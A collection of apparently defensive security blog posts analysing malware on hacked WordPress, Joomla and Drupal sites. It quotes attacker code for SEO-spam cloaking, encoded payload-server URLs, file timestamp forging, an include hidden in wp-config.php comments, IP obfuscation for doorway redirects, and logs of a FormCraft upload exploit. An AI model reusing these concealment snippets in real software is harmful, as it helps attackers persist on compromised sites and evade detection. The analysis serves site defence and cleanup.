Author: Denis Sinegubko

Many black hat SEO campaigns use cloaking on hacked sites. Malicious scripts only inject spammy content when search engine crawlers request web pages on compromised sites. This time we came across an unusual cloaking condition.

We've been watching one spam campaign that uses php functions with names like __e_accelerate or __e_accelerate_engine for quite a long time. It normally used this cloaking condition:

if ((substr(trim($_SERVER['REMOTE_ADDR']),0,6)=='74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {...

The spam is being injected only if web pages are requested from Google's IPs (Google has an IP range that begins with '74.125') or if the request's User-Agent header belongs to crawlers of the most popular search engines: Google, Bing, Yahoo, Ask, etc. This condition is more or less typical to cloaking conditions used by the majority of other black hat SEO campaigns.

To our surprise, recently we found a variation of that e_accelerate malware that had the following cloaking condition:

if (!preg_match("/(ahrefs|majestic|baidu)/i", $_SERVER['HTTP_USER_AGENT'])) {...

So now this malware injects spam to requests from both search crawlers and humans. They only hide their spam from Ahrefs.com, Majestic (ex MajesticSEO) and Baidu. The exclusion rules look unusual, don't they?

Let's try to figure out what's going on. When checking the injected spammy text, I can see that it has scripts that make the text invisible in browsers that execute JavaScript (i.e. all modern browsers) so it's safe to "show" it human visitors.

To understand why they hide their spam from Ahrefs, Majestic and Baidu, we should know what these sites do.

Baidu is the #1 Chinese search engine. By hiding spammy links from Baidu, they prevent them from ranking well in China. So they are simply are not interested in Chinese traffic.

Ahrefs and Majestic are SEO tools that allow to view backlink profiles for any domain. They have their own crawlers, and the volumes of pages indexed by these tools are not much smaller than Google's index. This means that if we check information for domains used in spammy links, we can easily find hacked sites that link back to them. So the goal of hiding spammy links from Ahrefs and Majestic is preventing easy discovery of the sites hacked by this campaign.

By the way, they currently promote these sites:

• buycialistadalafil[.]org
• buycheapsildenafils[.]com
• writemypaper-online[.]us
• buy-essayforcheap[.]xyz

... and despite of the spammers' efforts, Majestic has backlink profiles for some of them 😉

This malware can be usually found in WordPress index.php or in Joomla! includes/defines.php files. If you need a professional help with cleanup, you can request it here

It's just a minor update about the "pseudo-darkleech" malware we've been following for about a year now.

We wrote that it can be usually located inside the wp-includes/nav-menu.php file in WordPress and in the includes/defines.php files in Joomla! sites. But these are not the only targeted CMS'. We also find Drupal sites infected by this malware. The includes/bootstrap.inc file is where this malware can be found in Drupal sites.

The malware fetches the code it injects into webpages from third-party servers. The URLs of those servers are encoded using the base64 algorithm, e.g.:

$url = base64_decode("aHR0cDovLzkzLjE4OS40Mi43Mi9ibG9nLz9mcmFnaWxlJnV0bV9zb3VyY2U9MjQ2NzoyNjAzODM6NDU1");

Which decodes to hxxp://93 .189 .42 .72/blog/?fragile&utm_source=2467:260383:455.

But there are versions that use a custom encryption/decryption algorithm.

$url = decrypt_url('a3d3czksLDI2Mi0xMjQtNjQtMjQ7LGFvbGQsPGFmd2IldnduXHBsdnFgZj41NTQxOzk1MTA3MTs5NDQ0');

Here's the decryption function:

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}

So the decoded URL is hxxp://151 .217. 57 .178/blog/?beta&utm_source=66728:623428:777

The rest of the code doesn't change much so we reliably detect this malware when we clean sites, even if we didn't see pseudo-darkleech on some particular CMS before.

Some webmasters only check recently modified files when searching for malware. It may work sometimes, but many infections don't change files' time-stamps. There is the "touch" PHP function that allows to set whatever modification time to any file.

If hackers create a new file, they chose a time-stamp of some neighbor file. If they inject code into an existing file, they simply save its original modification date and then restore it after the injection.

Today I want to show you a piece of code that also sets fake modification date to malicious files:

function change_content_of_file($file, $base64_content)
{
    $flag = false;

    @chmod($file, 0777);
    @chmod(dirname($file), 0777);
    $flag = @forceFilePutContents($file,  base64_decode($base64_content)) > 0;
    @chmod($file, 0444);
    @touch($file, time() - rand(60*60*24*30*12, 60*60*24*30*12*2));
    @touch(dirname($file), time() - rand(60*60*24*30*12, 60*60*24*30*12*2));
    @chmod(dirname($file), 0755);

    return $flag;
}

In this case, the code picks a random date between a year and two years back from now.

Don't limit your searches to recently modified files. Make sure to scan all files on your server. You don't have to do it manually. Integrity control systems will make the task much easier. Of course, you need to be absolutely sure all your files are clean at the moment when you put them under integrity control. If you already suspect that some of the files may contain malicious code then hire professionals - we'll scan all your files for thousands of malware patterns.

Recently I analyzed a porn doorway script and found an interesting way to obfuscate an IP address there.

$adr1 = ".............................................................................................................................................................................";
$adr2 = "............................................................................................................................................................................................................................................";
$adr3 = ".................................................................";
$adr4 = "........................";
$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);

In the above code, you can see that each byte of the IP address $adr is represented by a string of dots, where the number of dots in the string is the byte value.

This give us the following IP address: 173 .236 .65 .24, which is used to generate a redirect URL for the doorway visitors:

header("Location: hxxp://$ard/input/?mark=20151119-$s");

In our case, the final redirect URL was hxxp://173 . 236 . 65 . 24/input/?mark=20151119-/azq9mzo3v

This code was found in thousands of .php doorway files created by the attackers. This is the sort of a hack that may cause troubles even after you have completely cleaned your site. You can read about such scenarios on our blog. To prevent Googlebot from indexing and re-indexing tons of pages that shouldn\'t have been there in the first place, it may be a good idea to close spammy directories on your server with robots.txt directives.

If you find something like this on your server, it\'s only a tip of an iceberg. To stop the hackers, you need also to find and close all security holes (including the backdoors that they uploaded to your site). If you need a professional help in malware cleanup and site protection, please check our Website AntiVirus service.

Lately we see waves of a strange WordPress infection.

It usually adds backdoor code at the top of theme files (footer.php, page.php, etc)

There are many tricks to hide malicious code. One of them is placing it to the part of legitimate files where people don't normally expect to see executable code so they don't skip such places during manual reviews.

Comment blocks are one of such places. For example, this is a comment from an infected wp-config.php file found by our security analyst Brandon Benavente. Can you spot the malware there?

/**#@+
 * */include /*Authentication Unique Keys.
 *
 * Change these to different*/"\x2fhom\x65/...skipped...\x2fpub\x6cic_\x68tml\x2fwp-\x63ont\x65nt/\x75pgr\x61de/\x6cogi\x6e.ph\x70";/* unique phrases!
 * You can generate these using the {@link http://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
 *
 * @since 2.6.0
 */

I hope, you noticed, that hackers use / and / to close the multiline comment block and open a new comment block. And between them they placed executable PHP code, which may look as a part of the comment. To make it even less prominent, they even split the code in two pieces on two different lines.

include on one line and "\x2fhom\x65/...skipped...\x2fpub\x6cic_\x68tml\x2fwp-\x63ont\x65nt/\x75pgr\x61de/\x6cogi\x6e.ph\x70"; two lines below.

Since PHP interpreter skips everything in comment blocks, the real code that it sees is:

include "\x2fhom\x65/...skipped...\x2fpub\x6cic_\x68tml\x2fwp-\x63ont\x65nt/\x75pgr\x61de/\x6cogi\x6e.ph\x70"; 

or, after decoding:

include "/home/...skipped.../public_html/wp-content/upgrade/login.php";

Basically, hackers created a wp-content/upgrade/login.php file with malicious code. To execute it every time when someone loads any WordPress pages, they included that file into wp-config.php. This way the only changed core WordPress file is wp-config.php - the file that is never updated during WordPress updates and the file that normally not checked for integrity because it has custom code (keys, DB credentials, custom settings) and is different on every site.

This means that, depending on the tools you use, you might not be alerted about the file change, so you'll need to review it manually. And when you do it, remember about tricks like this. On one hand, using a code viewer with syntax highlighting may help. On the other hand, make sure you have a backup copy of your wp-config.php. Whenever you are not sure in its integrity, just restore it from a clean backup copy.

Cleaning and protecting websites may be a challenging task. If you need a professional help, you can always count on us.

As we clean many sites infected by the VisitorTracker malware, we see vulnerabilities in multiple plugins being exploited by attackers.

For example, my colleagues John Castro and Marc-Alexandre Montpas analyzed many sites where hackers exploited quite an old version 1.4.6 of the FormCraft premium plugin (current version is 3.2.4). FormCraft 1.4.6 contains a file upload script that is not protected in any way. Which makes it really easy for an attacker to upload backdoors on vulnerable sites.

And here are logs entries that show how this vulnerability is being exploited in the wild:

92.63.87.87 - - [24/Sep/2015:04:56:20 -0400] "POST /wp-content/plugins/formcraft/file-upload/server/php/index.php HTTP/1.1" 200 180 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
92.63.87.87 - - [24/Sep/2015:04:56:21 -0400] "POST /wp-content/plugins/formcraft/file-upload/server/php/index.php HTTP/1.1" 200 198 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
92.63.87.61 - - [25/Sep/2015:10:43:50 -0400] "POST /wp-content/plugins/formcraft/file-upload/server/php/index.php HTTP/1.1" 200 184 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"

Remember, both free and premium plugins and themes should always be up to date. If you can't update some software, you should remove it from your server. Alternatively, consider virtual patching provided by Website Firewalls